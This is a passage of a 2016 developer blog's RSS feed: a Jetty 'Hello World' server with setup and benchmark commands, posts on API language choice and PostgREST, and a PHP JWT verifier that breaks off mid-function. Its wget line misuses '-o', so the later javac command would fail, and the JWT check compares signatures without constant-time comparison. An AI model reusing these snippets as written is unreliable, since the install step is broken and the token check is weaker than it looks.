</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.http.HttpServletResponse</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.Request</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.Server</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">org.eclipse.jetty.server.handler.AbstractHandler</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">HelloWorld</span><span class="w"> </span><span class="kd">extends</span><span class="w"> </span><span class="n">AbstractHandler</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nd">@Override</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">handle</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">target</span><span class="p">,</span><span class="w"> </span><span class="n">Request</span><span class="w"> </span><span class="n">baseRequest</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletRequest</span><span class="w"> </span><span class="n">request</span><span class="p">,</span><span class="w"> </span><span class="n">HttpServletResponse</span><span class="w"> </span><span class="n">response</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">IOException</span><span class="p">,</span><span class="w"> </span><span class="n">ServletException</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">setContentType</span><span class="p">(</span><span class="s">&#34;text/html; charset=utf-8&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">setStatus</span><span class="p">(</span><span class="n">HttpServletResponse</span><span class="p">.</span><span class="na">SC_OK</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">response</span><span class="p">.</span><span class="na">getWriter</span><span class="p">().</span><span class="na">println</span><span class="p">(</span><span class="s">&#34;&lt;h1&gt;Hello World&lt;/h1&gt;&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">baseRequest</span><span class="p">.</span><span class="na">setHandled</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Exception</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">Server</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Server</span><span class="p">(</span><span class="n">8000</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">setHandler</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">HelloWorld</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">start</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">server</span><span class="p">.</span><span class="na">join</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Save this file as &ldquo;HelloWorld.java&rdquo; in your project folder.</p>
<h3 id="installing-jetty">Installing Jetty</h3>
<p>Install and run on Ubuntu Linux using:</p>
<pre><code>sudo apt-get install openjdk-8-jre openjdk-8-jdk
wget -o jetty.jar http://central.maven.org/maven2/org/eclipse/jetty/aggregate/jetty-all/9.3.8.v20160314/jetty-all-9.3.8.v20160314-uber.jar
javac -cp jetty.jar HelloWorld.java
java -cp .:jetty.jar HelloWorld
</code></pre>
<p>The first two lines download the JDK, JRE and Jetty. The third command compiles
and the last command should start the server.</p>
<h3 id="benchmarking-jetty">Benchmarking Jetty</h3>
<p>Fire a bunch of requests at it using
<a href="https://httpd.apache.org/docs/current/programs/ab.html">Apache Bench</a>:</p>
<pre><code>ab -n 200000 -c 100 http://localhost:8000/
</code></pre>
<p>Lots of people have asked me how fast this example is. I suggest you test that
for yourself, but to give you a rough idea: on my box this performs &gt;30k
requests per second with 70% CPU load. Just as good as a single line of PHP
stating &ldquo;<code>echo 'Hello World';</code>&rdquo; served by &ldquo;mod_php&rdquo; under Apache.</p>
<p>NB: I have tested several implementations and analyzed their source code. I
tried to pick a simple example that has high performance. If you feel there is
better code, please let me know.</p>
<h3 id="links--references">Links / References</h3>
<ul>
<li><a href="/2016-choose-java-go-or-javascript-for-your-api">Choose Java, Go or JavaScript for your API</a></li>
<li><a href="http://www.eclipse.org/jetty/documentation/current/advanced-embedding.html">Jetty Development Guide - Chapter 24. Embedding</a></li>
<li><a href="https://httpd.apache.org/docs/current/programs/ab.html">Apache Bench</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Choose Java, Go or JavaScript for your API</title>
      <link>https://www.tqdev.com/2016-choose-java-go-or-javascript-for-your-api/</link>
      <pubDate>Sat, 26 Mar 2016 04:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-choose-java-go-or-javascript-for-your-api/</guid>
      <description>&lt;p&gt;In today&amp;rsquo;s era of web based micro-services (HTTP APIs) building small simple
high performance web servers is of vital importance. In this blog post
background information is given on the expected performance of implementations
in popular programming languages. This post will be followed up by attempts at
high performance implementations in some of these languages
(&lt;a href=&#34;https://www.tqdev.com/2016-high-performance-java-web-jetty&#34;&gt;Java&lt;/a&gt;, Go,
&lt;a href=&#34;https://www.tqdev.com/2016-high-performance-c-web-service-evhttpsharp&#34;&gt;C#&lt;/a&gt; and JavaScript). Do not
expect benchmarks or absolute numbers, but do expect source code that you can
easily run on your machine, so that you can do the benchmarking yourself.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In today&rsquo;s era of web based micro-services (HTTP APIs) building small simple
high performance web servers is of vital importance. In this blog post
background information is given on the expected performance of implementations
in popular programming languages. This post will be followed up by attempts at
high performance implementations in some of these languages
(<a href="/2016-high-performance-java-web-jetty">Java</a>, Go,
<a href="/2016-high-performance-c-web-service-evhttpsharp">C#</a> and JavaScript). Do not
expect benchmarks or absolute numbers, but do expect source code that you can
easily run on your machine, so that you can do the benchmarking yourself.</p>
<h3 id="the-benchmark-game">The benchmark game</h3>
<p>From <a href="http://benchmarksgame.alioth.debian.org/">the benchmark game</a> we may learn
that there are two performance profiles for popular programming languages: that
of compiled languages and that of script languages. The script languages ordered
from fast to slow are: JavaScript, PHP, Ruby, Python, Perl. For the compiled
languages the order is: C, C++, Java, C#. Go is a newer and less popular
compiled language, but it performs quite comparable to Java. JavaScript needs to
be mentioned for its performance, as it can be surprisingly fast.</p>
<h3 id="web-framework-benchmarks">Web Framework Benchmarks</h3>
<p>When we <a href="https://www.techempower.com/benchmarks/">look at web frameworks</a>, then
we see that many web frameworks also optimize for execution speed. I&rsquo;m not sure
I understand that as the language in which they are written more or less defines
their maximum speed. So performance is not a feature. If a framework performs
significantly worse than other frameworks in that language it should be
considered a bug. Other than speed they seem mainly concerned with architecture
and tests (and these are related). IMHO they should focus on &ldquo;developer
friendliness&rdquo; and their &ldquo;LoC to features&rdquo; ratio (also somewhat related).</p>
<h3 id="library-calls-implemented-in-c">Library calls implemented in C</h3>
<p>It is important for performance to know what part of your application is
executing code in the language you are writing in. The language&rsquo;s built-in
functionality is often highly optimized for speed. This is not true for your
business logic and maybe some libraries you use. In JavaScript and PHP a lot of
heavy functions (like regex and json parsing) are implemented in C and that is
why those functions perform unexpectedly good in those languages. This is an
important trick of script languages to improve the actual performance. How much
speed you win depends on the ratio between built-in and added logic in your
application.</p>
<h3 id="dont-shoot-yourself-in-the-foot">Don&rsquo;t shoot yourself in the foot</h3>
<p>As you can read in the title I do not recommend C or C++ for web API
programming. I agree with Bjarne Stroustrup (author of C++) that programming in
a language that is lacking a memory manager is hard. In C and C++ you have to
request and release memory explicitly, so an error is easily made. If you want
to go that way, it is interesting to check out <a href="https://kore.io/">kore.io</a>,
libmicrohttpd or to write Nginx modules (that can easily be prototyped in Lua).
Also, it is recommended that you use tools like ValGrind to find memory leaks.</p>
<h3 id="links--references">Links / References</h3>
<ul>
<li><a href="http://benchmarksgame.alioth.debian.org/">The benchmark game</a></li>
<li><a href="http://www.zend.com/en/resources/php7_infographic">PHP7 speed comparison</a></li>
<li><a href="https://www.techempower.com/benchmarks/">TechEmpower Web Framework Benchmarks</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PostgREST for MySQL in PHP</title>
      <link>https://www.tqdev.com/2016-postgrest-for-mysql-in-php/</link>
      <pubDate>Mon, 21 Mar 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-postgrest-for-mysql-in-php/</guid>
      <description>&lt;p&gt;Today I stumbled upon &amp;ldquo;PostgREST&amp;rdquo;, a generated PostgreSQL REST API. I have built
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt;, a similar tool, for
MySQL in PHP.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PostgREST is a standalone web server that turns your database directly into a
RESTful API. The structural constraints and permissions in the database
determine the API endpoints and operations.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;This great software is written by Joe Nelson and has acquired over 6000 stars on
&lt;a href=&#34;https://github.com/begriffs/postgrest&#34;&gt;Github&lt;/a&gt; and has it&amp;rsquo;s own website on
&lt;a href=&#34;http://postgrest.com/&#34;&gt;postgrest.com&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Today I stumbled upon &ldquo;PostgREST&rdquo;, a generated PostgreSQL REST API. I have built
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>, a similar tool, for
MySQL in PHP.</p>
<blockquote>
<p>PostgREST is a standalone web server that turns your database directly into a
RESTful API. The structural constraints and permissions in the database
determine the API endpoints and operations.</p></blockquote>
<p>This great software is written by Joe Nelson and has acquired over 6000 stars on
<a href="https://github.com/begriffs/postgrest">Github</a> and has it&rsquo;s own website on
<a href="http://postgrest.com/">postgrest.com</a>.</p>
<h3 id="compared-to-php-crud-api">Compared to PHP-CRUD-API</h3>
<p>Below are a few things that PostgREST does different than
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>:</p>
<ul>
<li>Does not support MySQL or SQL Server</li>
<li>Does not generate a Swagger API specification</li>
<li>Harder to modify/hack, supposed to run as-is</li>
<li>Written in Haskell, not in PHP</li>
</ul>
<p>Compared to PHP-CRUD-API PostgREST is much more full-featured:</p>
<ul>
<li>Supports composite primary keys</li>
<li>Supports column filters on relations</li>
<li>Can &ldquo;singularize&rdquo; related objects</li>
<li>Supports &ldquo;upserts&rdquo;</li>
<li>Supports JSON Web Tokens</li>
<li>Uses database permissions as security model</li>
<li>Supports ordering with &ldquo;nulls last&rdquo;</li>
<li>Uses &ldquo;Content-Range&rdquo; for pagination (RFC7233)</li>
<li>Supports full-text search and like wildcards</li>
<li>Supports searching in data in JSONB fields</li>
<li>Supports CSV output</li>
<li>Supports pagination without count (as an option)</li>
<li>Does not return numbers as strings</li>
<li>Supports casting field types (e.g. &ldquo;::text&rdquo;)</li>
<li>Supports bulk/batch insert and update</li>
<li>Supports Listen / Notify for external commands</li>
<li>Has schema search path to support versions</li>
<li>Works around information_schema permission limits</li>
</ul>
<p>I&rsquo;m not sure all of the above are nessecary features, but it is clear that there
is still a lot of work to do on
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>. I tried to pick 3
things that seemed like a particular good idea and that I did not implement yet:</p>
<ol>
<li>Support JSON Web Tokens</li>
<li>Support column filters on relations</li>
<li>Support &ldquo;upserts&rdquo;</li>
</ol>
<p>I will add these 3 things on my to-do list and you can expect them to be added
in the near future.</p>
<p>(Edit 2016-04-05: Implemented &ldquo;column filters on relations&rdquo;)</p>
<h3 id="other-reflective-apis">Other reflective APIs</h3>
<p>In order to find out what I am missing I investigated some other reflective
APIs.</p>
<ul>
<li><a href="https://github.com/typicode/json-server">JSON Server</a> is a NodeJS project.
Check out the <a href="https://github.com/typicode/json-server">Github readme</a>.</li>
<li><a href="https://www.dreamfactory.com/">DreamFactory</a> is a Laravel (PHP) project.
<a href="http://wiki.dreamfactory.com/">Docs</a> and
<a href="https://github.com/dreamfactorysoftware/dreamfactory">Source</a>.</li>
<li><a href="http://loopback.io/">LoopBack</a> is a Express (NodeJS) project.
<a href="https://docs.strongloop.com/display/public/LB/PersistedModel+REST+API">Docs</a>
and <a href="https://github.com/strongloop/loopback/">Source</a>.</li>
</ul>
<p>Note that JSON server is more suited for prototyping, while DreamFactory is
really full-featured and LoopBack is better for high performance APIs.</p>
<h3 id="further-reading">Further reading</h3>
<ul>
<li><a href="http://www.universalmind.com/blog/apis-on-the-quick/">Universal Mind Blog: APIs on the Quick</a></li>
<li><a href="http://restify.com/">Restify: A node.js REST framework for web service APIs</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>JWT implementation in PHP</title>
      <link>https://www.tqdev.com/2016-jwt-implementation-in-php/</link>
      <pubDate>Fri, 18 Mar 2016 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-jwt-implementation-in-php/</guid>
      <description>&lt;p&gt;I did a basic implementation of a JWT authentication scheme in PHP. It has no
dependencies, so you can simply incorporate the two functions below in any
existing application. I have been writing about
&lt;a href=&#34;http://tqdev.com/2016-javascript-web-token-security&#34;&gt;JavaScript Web Token security&lt;/a&gt;
earlier this month. It is a token standard that is well described on
&lt;a href=&#34;http://jwt.io/&#34;&gt;JWT.io&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;getVerifiedClaims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$leeway&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS256&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS384&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha384&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HS512&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;sha512&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$hmac&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$algorithms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;explode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;json_decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)),&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;typ&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;JWT&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;alg&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$algorithm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$signature&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;bin2hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$signature&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;hash_hmac&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$hmac&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$token[0]&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$token[1]&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$secret&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;json_decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;base64_decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;strtr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-_&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;+/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)),&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$claims&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
